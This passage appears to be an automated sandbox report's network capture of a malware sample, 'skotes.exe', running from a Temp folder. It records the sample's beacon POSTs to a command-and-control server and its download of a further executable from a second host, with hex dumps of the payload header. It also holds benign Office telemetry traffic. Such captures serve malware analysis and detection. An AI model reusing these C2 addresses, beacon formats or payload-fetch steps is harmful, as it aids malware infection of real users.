Dec 8, 2024 00:49:53.693243027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 00:49:53.693336010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 00:49:53.693346024 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 00:49:53.693800926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 00:49:53.693924904 CET	1236	IN	Data Raw: 70 12 ed a1 99 b8 e1 f7 13 b7 d9 39 51 47 f6 86 85 cb dc d2 65 3c 31 42 87 43 f8 21 a9 84 16 88 a1 b0 99 60 67 03 47 3d 03 78 a2 0b 8a 2c fb 40 20 42 41 98 0b 32 7c 36 da 9a 57 80 05 5c 76 9e fa 60 39 9a 05 16 39 53 3c 77 0e 1b 16 42 34 c0 20 ee Data Ascii: p9QGe<1BC!`gG=x,@ BA2\|6W\v`99S<wB4 A0c3\<^Yj35xFA$BRWSI rC^mmGrjChKG>Kfg`-I:3tGT@M>M%cFFb\TZchHy6.5
Dec 8, 2024 00:49:53.693936110 CET	248	IN	Data Raw: 71 63 c4 19 e5 b0 53 d0 d4 3b 00 63 42 ee a8 9d c8 82 ad be 30 38 b8 67 1c 7a 7d 6b 8c 8f 29 6b 16 7a c9 c4 75 86 1a 63 db 97 31 1b 10 fe 46 0e 6d cd 30 0d fc ee ef cd 90 fc 2f 49 c2 84 18 22 08 36 7e 7d 4b d1 0c 8f b7 7f e9 51 1d d3 7f 62 3c 80 Data Ascii: qcS;cB08gz}k)kzuc1Fm0/I"6~}KQb<{_E~U\b~p(xikc1wIUI- k:"IKb'0bm"bg\|UR<S8}IZHZqdIgT5 ^f='}-gS.{UE7}<-(r"Q
Dec 8, 2024 00:49:53.694485903 CET	1236	IN	Data Raw: 85 b0 5f e2 96 54 2e 7f d2 ef 38 06 5b 59 b2 93 41 54 fc 0c bc 41 d5 a0 1c 03 18 78 89 1e f8 33 08 02 1d 2f b6 c3 89 2e 00 d7 7d 0c be e3 f7 e3 18 ed 66 69 b9 f1 ef 99 85 bc 38 36 c7 24 a1 72 bb f1 99 51 8d b9 21 4b ff 8d d4 32 d8 df 40 27 cc 2f Data Ascii: _T.8[YATAx3/.}fi86$rQ!K2@'/#*Dn%a`!eXo(G}b{l9Fhl=-]^N:GO5k{I(jd\|C:;f&#+"CqPE0WYp&'M}a'f~=L
Dec 8, 2024 00:49:53.694612026 CET	1236	IN	Data Raw: 25 f5 08 8a 18 50 b5 9b 2b a3 bd 30 80 0b fc 6f 95 68 9b 30 d2 db b9 29 96 ab ce 7a d3 05 d6 78 76 ca b0 4a 38 88 d4 3a 7c fd f7 aa 23 54 eb be 6f 9a de 27 6d 28 60 79 aa 62 3f 42 35 ce 69 2a 0e 12 1d 19 6d 66 4c 43 a4 10 7b 39 61 25 d9 31 47 0e Data Ascii: %P+0oh0)zxvJ8:\|#To'm(`yb?B5i*mfLC{9a%1G(vS/$_0AW:`qw<"guXZN0:B$!8qCt0^G6y#\|)07=9%wg)pZbf0DnSoZf6
Dec 8, 2024 00:49:53.812542915 CET	1236	IN	Data Raw: d8 7e 2c fe 40 24 39 78 ef e1 04 90 08 05 44 4b 25 d3 42 2b 89 aa 69 49 08 77 ef 57 71 05 76 99 b1 97 d4 7f 4c ae ee c2 3f b8 0e 01 f5 f2 30 60 bf 9a 37 49 6d fa c1 b0 18 c8 4c 4f 48 36 9f bb d5 ed ba cd 0c ff 28 54 05 5c 71 88 b5 86 fc c9 cd f6 Data Ascii: ~,@$9xDK%B+iIwWqvL?0`7ImLOH6(T\qP9fwfaBAX>Ehcx>w"K46-$T-NyiJgy/Oyr-[}CJ,.x^A*o"~&~JLzo,(bxw0y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49979	185.215.113.43	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 00:49:59.171283960 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 30 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013060001&unit=246122658369
Dec 8, 2024 00:50:00.519402027 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 23:50:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49983	185.215.113.16	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 00:50:00.644920111 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 8, 2024 00:50:01.978378057 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 23:50:01 GMT Content-Type: application/octet-stream Content-Length: 1798656 Last-Modified: Sat, 07 Dec 2024 23:41:58 GMT Connection: keep-alive ETag: "6754dd46-1b7200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 2b b6 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg( i@Pi+@M$a$$ $h@.rsrc$x@.idata $z@ *$\|@fwbluwmq@O~@dvjbilhjiL@.taggant0 i"P@
Dec 8, 2024 00:50:01.978483915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 00:50:01.978497982 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 00:50:01.978760004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 00:50:01.978775024 CET	1236	IN	Data Raw: 9e 4a 5f 72 5f 02 78 11 98 0d 3b 8e 8e c5 9d 30 d3 21 e0 2e 5f fd a6 fe e7 c5 59 5f f3 41 50 23 cf 83 48 08 df bb 40 30 b2 1f b5 bc b9 eb 9e 02 57 e5 b0 0e ab 75 a0 42 83 c5 95 e1 26 d4 89 d1 9c c9 fd e6 94 47 50 0e 9e 2d a4 66 fb 25 e0 09 d9 e4 Data Ascii: J_r_x;0!._Y_AP#H@0WuB&GP-f%n--5c<=CQGT25_$/:!~4f7_E9V^YR@swE)m]qTBy[DZljt~M](STxxJ>ifh#
Dec 8, 2024 00:50:01.978787899 CET	1236	IN	Data Raw: c9 9d 9e ca fd f5 54 11 9c c4 62 6d 67 38 37 79 a8 dd 1d c1 ce e5 ed f9 06 e6 fd 9a cd d5 0e d9 6b 63 e3 cf c4 66 c1 39 ba 1a f8 88 30 1e e0 32 e2 5a e3 a3 25 3e 7d 3e c6 a2 e6 f0 ae cb af 7b 1b 0c 9f ae 44 76 e3 5f a3 74 9e 83 8c 65 e0 7d 4c c6 Data Ascii: Tbmg87ykcf902Z%>}>{Dv_te}LM\|G/,Gl:\|+PisJ$r?4=KhTO@}\|<:KE3@SZ5q_9KHZEmp_q=LsvRv]
Dec 8, 2024 00:50:01.978801012 CET	1236	IN	Data Raw: 9d 12 48 72 c9 7d fb a6 44 d3 e7 01 cc dc 18 f0 c9 a1 eb 8e 9d 6c d0 14 8d 03 10 01 1f c5 fd 96 b4 e3 f7 9c 05 0d 28 0c 37 41 fa 0e 47 00 24 49 c1 ef 66 09 db dd 6d 22 ac d1 0a 15 3d 81 f0 16 85 25 ee 02 17 6c 80 95 ca 8b b0 2e c9 cd a9 72 e7 44 Data Ascii: Hr}Dl(7AG$Ifm"=%l.rDu\FclKr\`0QF@DxrjXbZy8=We4X#{<2gI#\|A%1Kmb\|'%qM\|.iFpbP[AX(H
Dec 8, 2024 00:50:01.979270935 CET	1236	IN	Data Raw: db 3a ee 35 7d 29 c0 85 45 a6 e0 0a 7e 46 c4 3b 83 d7 e9 52 5b 4c a5 fd c4 6d e0 0c 53 00 b8 fe a1 7a 7b 7f c3 cc 99 09 7f 41 9a 02 e4 63 4b 02 6b d7 f8 ba c4 d5 62 86 80 51 43 1e 33 d7 9b ea cd ad 67 19 e9 1a e0 0e e0 58 80 50 83 11 4b 16 7f 03 Data Ascii: :5})E~F;R[LmSz{AcKkbQC3gXPK.\Fr1bfU~5Czl]{o52E\3zDT&x/e]/02H%=V_PI~Sx%MwKTK~{D2=f9Aa
Dec 8, 2024 00:50:01.979283094 CET	1236	IN	Data Raw: 3f c4 18 84 ce 10 eb 02 9f af dc 0c c3 39 9c 9a 44 05 99 38 0a c5 81 2a 4f 31 ee 11 7f d0 80 7f 45 3d ee 06 83 41 30 85 84 d2 a0 fd af 1d f7 0c 7c c5 f5 78 45 f8 e2 7f 04 40 49 66 c5 d4 51 4b 73 d4 9c d2 ce 58 58 7d c9 45 a0 27 47 51 26 0c 5b 4d Data Ascii: ?9D8*O1E=A0\|xE@IfQKsXX}E'GQ&[MAZKkY]X#x\~GAX8c#p{wJC9"_lxCl0%La,$\|-A=Pr2\FF'GK?Z#o\~\14_}GD
Dec 8, 2024 00:50:01.979295015 CET	1236	IN	Data Raw: a8 d7 e9 72 5f f9 65 3d d9 c3 7e 74 fb 51 f3 30 77 cc 55 78 cd e8 db 20 c1 a1 5c 0c 63 23 d0 73 e2 96 db 89 00 b9 9b 01 b3 48 dc 7c ea d0 ef de 1d fc 8b 36 0f 41 84 ca fe 11 5f 30 66 23 ee d2 cd e9 e0 de 7d 03 6f fe ce 4d 05 76 c9 c5 a4 7e ff 48 Data Ascii: r_e=~tQ0wUx \c#sH\|6A_0f#}oMv~Hcw#aP@2ARA2G!X);E3!X=:v\|NpD]DDZQw.FrolH`D}A[MA@a9q"lagm!aTg
Dec 8, 2024 00:50:02.098047972 CET	1236	IN	Data Raw: fc cb bf cf 22 14 f5 4e f7 93 66 43 85 15 60 45 8c b1 a4 14 e7 17 31 e4 46 2f f9 b2 49 37 fa 42 c0 de ed 4c 40 ef fb 07 98 77 8b 34 21 97 a9 e4 cd ec f8 b8 b4 df bd c6 8c 57 fb 12 c8 40 f4 7e 97 e1 0c 40 41 3c 20 aa c4 a6 2f 32 6f 2b bc 8e 28 c4 Data Ascii: "NfC`E1F/I7BL@w4!W@~@A< /2o+(i"V,@viJne3}UnC-za`LE@='.kE}er:# @XXpW%Zq~cbHg9>c\ZY(-G<gM\|AeL[n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	50008	185.215.113.43	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 00:50:10.327728987 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 30 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013061001&unit=246122658369
Dec 8, 2024 00:50:11.664634943 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 23:50:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49702	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:15 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:15 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:15 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 05 Dec 2024 15:18:57 GMT ETag: "0x8DD1540234F33E7" x-ms-request-id: 1f1786e0-601e-0050-7103-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234815Z-r1cf579d778z4wflhC1EWRa3h000000003x0000000000yzf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:15 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-07 23:48:15 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-07 23:48:15 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-07 23:48:15 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-07 23:48:15 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-07 23:48:15 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-07 23:48:15 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-07 23:48:16 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-07 23:48:16 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
